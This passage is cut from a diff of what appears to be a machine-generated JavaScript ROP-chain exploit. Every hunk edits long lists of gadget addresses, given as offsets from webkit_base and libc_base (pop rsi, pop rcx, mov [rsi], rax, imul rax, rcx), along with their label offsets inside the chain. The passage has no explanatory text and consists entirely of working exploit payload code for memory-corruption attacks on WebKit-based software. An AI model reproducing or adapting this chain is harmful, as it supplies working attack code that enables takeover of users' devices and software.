-ropchain+98976, //L862 +ropchain+98976, //L863 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L862: +//L863: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -5697,18 +5697,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+99056, //L866 +ropchain+99056, //L865 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L866: +//L865: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L864: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L865: +//L864: db([5, 0]); // 0x5 +set_gadget(libc_base+792472,); //pop rcx +//L866: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -5743,12 +5743,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+99320, //L871 +ropchain+99320, //L872 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L871: +//L872: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -5761,16 +5761,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+99424, //L873 +ropchain+99440, //L875 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L873: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L874: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L875: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -5778,7 +5778,7 @@ ropchain+99528, //L876 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+99544, //L877 +ropchain+99544, //L878 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -5786,7 +5786,7 @@ libc_base+206806 //pop rdi //L876: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L877: +//L878: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -5826,12 +5826,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+99816, //L884 +ropchain+99816, //L885 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L884: +//L885: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -5840,18 +5840,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+99896, //L888 +ropchain+99896, //L887 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L888: +//L887: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L886: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L887: +//L886: db([14, 0]); // 0xe +set_gadget(libc_base+792472,); //pop rcx +//L888: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -5886,12 +5886,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+100160, //L893 +ropchain+100160, //L894 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L893: +//L894: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -5925,7 +5925,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575, //pop rax //L899: -webkit_base+7438103, //mov [rsi], rax +webkit_base+4648696, //mov [rsi], rax ; mov al, 1 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -5933,16 +5933,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+100424, //L900 +ropchain+100440, //L902 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L900: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L901: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L902: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -5950,7 +5950,7 @@ ropchain+100528, //L903 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+100544, //L904 +ropchain+100544, //L905 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -5958,7 +5958,7 @@ libc_base+206806 //pop rdi //L903: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L904: +//L905: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -5998,12 +5998,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+100816, //L911 +ropchain+100816, //L912 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L911: +//L912: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -6012,18 +6012,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+100896, //L915 +ropchain+100896, //L914 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L915: +//L914: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L913: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L914: +//L913: db([15, 0]); // 0xf +set_gadget(libc_base+792472,); //pop rcx +//L915: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -6058,12 +6058,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+101160, //L920 +ropchain+101160, //L921 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L920: +//L921: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -6105,16 +6105,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+101424, //L927 +ropchain+101440, //L929 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L927: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L928: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L929: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -6122,7 +6122,7 @@ ropchain+101528, //L930 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+101544, //L931 +ropchain+101544, //L932 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -6130,7 +6130,7 @@ libc_base+206806 //pop rdi //L930: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L931: +//L932: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -6170,12 +6170,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+101816, //L938 +ropchain+101816, //L939 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L938: +//L939: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -6184,18 +6184,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+101896, //L942 +ropchain+101896, //L941 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L942: +//L941: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L940: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L941: +//L940: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L942: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -6230,12 +6230,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+102160, //L947 +ropchain+102160, //L948 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L947: +//L948: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -6277,16 +6277,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+102424, //L954 +ropchain+102440, //L956 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L954: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L955: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L956: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -6294,7 +6294,7 @@ ropchain+102528, //L957 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+102544, //L958 +ropchain+102544, //L959 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -6302,7 +6302,7 @@ libc_base+206806 //pop rdi //L957: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L958: +//L959: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -6342,12 +6342,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+102816, //L965 +ropchain+102816, //L966 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L965: +//L966: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -6356,18 +6356,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+102896, //L969 +ropchain+102896, //L968 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L969: +//L968: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L967: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L968: +//L967: db([17, 0]); // 0x11 +set_gadget(libc_base+792472,); //pop rcx +//L969: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -6402,12 +6402,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+103160, //L974 +ropchain+103160, //L975 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L974: +//L975: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -6440,16 +6440,16 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+103376, //L980 +ropchain+103392, //L982 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L980: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L981: db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+792472,); //pop rcx +//L982: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -6457,7 +6457,7 @@ ropchain+103480, //L983 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+103496, //L984 +ropchain+103496, //L985 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -6465,7 +6465,7 @@ libc_base+206806 //pop rdi //L983: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L984: +//L985: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -6505,12 +6505,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+103768, //L991 +ropchain+103768, //L992 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L991: +//L992: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -6519,18 +6519,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+103848, //L995 +ropchain+103848, //L994 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L995: +//L994: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L993: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L994: +//L993: db([4, 0]); // 0x4 +set_gadget(libc_base+792472,); //pop rcx +//L995: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -6565,12 +6565,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+104112, //L1000 +ropchain+104112, //L1001 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1000: +//L1001: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -6583,16 +6583,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+104216, //L1002 +ropchain+104232, //L1004 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1002: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1003: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1004: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -6600,7 +6600,7 @@ ropchain+104320, //L1005 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+104336, //L1006 +ropchain+104336, //L1007 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -6608,7 +6608,7 @@ libc_base+206806 //pop rdi //L1005: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1006: +//L1007: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -6648,12 +6648,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+104608, //L1013 +ropchain+104608, //L1014 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1013: +//L1014: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -6662,18 +6662,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+104688, //L1017 +ropchain+104688, //L1016 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1017: +//L1016: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1015: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1016: +//L1015: db([18, 0]); // 0x12 +set_gadget(libc_base+792472,); //pop rcx +//L1017: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -6708,12 +6708,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+104952, //L1022 +ropchain+104952, //L1023 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1022: +//L1023: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -6747,7 +6747,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575, //pop rax //L1028: -webkit_base+7438103, //mov [rsi], rax +webkit_base+4648696, //mov [rsi], rax ; mov al, 1 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -6755,16 +6755,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+105216, //L1029 +ropchain+105232, //L1031 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1029: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1030: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1031: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -6772,7 +6772,7 @@ ropchain+105320, //L1032 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+105336, //L1033 +ropchain+105336, //L1034 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -6780,7 +6780,7 @@ libc_base+206806 //pop rdi //L1032: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1033: +//L1034: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -6820,12 +6820,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+105608, //L1040 +ropchain+105608, //L1041 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1040: +//L1041: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -6834,18 +6834,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+105688, //L1044 +ropchain+105688, //L1043 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1044: +//L1043: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1042: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1043: +//L1042: db([19, 0]); // 0x13 +set_gadget(libc_base+792472,); //pop rcx +//L1044: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -6880,12 +6880,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+105952, //L1049 +ropchain+105952, //L1050 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1049: +//L1050: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -6927,16 +6927,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+106216, //L1056 +ropchain+106232, //L1058 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1056: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1057: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1058: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -6944,7 +6944,7 @@ ropchain+106320, //L1059 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+106336, //L1060 +ropchain+106336, //L1061 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -6952,7 +6952,7 @@ libc_base+206806 //pop rdi //L1059: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1060: +//L1061: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -6992,12 +6992,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+106608, //L1067 +ropchain+106608, //L1068 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1067: +//L1068: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -7006,18 +7006,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+106688, //L1071 +ropchain+106688, //L1070 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1071: +//L1070: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1069: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1070: +//L1069: db([20, 0]); // 0x14 +set_gadget(libc_base+792472,); //pop rcx +//L1071: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -7052,12 +7052,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+106952, //L1076 +ropchain+106952, //L1077 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1076: +//L1077: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -7099,16 +7099,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+107216, //L1083 +ropchain+107232, //L1085 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1083: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1084: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1085: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -7116,7 +7116,7 @@ ropchain+107320, //L1086 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+107336, //L1087 +ropchain+107336, //L1088 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -7124,7 +7124,7 @@ libc_base+206806 //pop rdi //L1086: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1087: +//L1088: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -7164,12 +7164,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+107608, //L1094 +ropchain+107608, //L1095 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1094: +//L1095: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -7178,18 +7178,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+107688, //L1098 +ropchain+107688, //L1097 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1098: +//L1097: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1096: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1097: +//L1096: db([21, 0]); // 0x15 +set_gadget(libc_base+792472,); //pop rcx +//L1098: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -7224,12 +7224,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+107952, //L1103 +ropchain+107952, //L1104 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1103: +//L1104: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -7262,16 +7262,16 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+108168, //L1109 +ropchain+108184, //L1111 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1109: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1110: db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+792472,); //pop rcx +//L1111: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -7279,7 +7279,7 @@ ropchain+108272, //L1112 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+108288, //L1113 +ropchain+108288, //L1114 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -7287,7 +7287,7 @@ libc_base+206806 //pop rdi //L1112: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1113: +//L1114: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -7327,12 +7327,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+108560, //L1120 +ropchain+108560, //L1121 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1120: +//L1121: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -7341,18 +7341,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+108640, //L1124 +ropchain+108640, //L1123 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1124: +//L1123: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1122: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1123: +//L1122: db([3, 0]); // 0x3 +set_gadget(libc_base+792472,); //pop rcx +//L1124: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -7387,12 +7387,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi 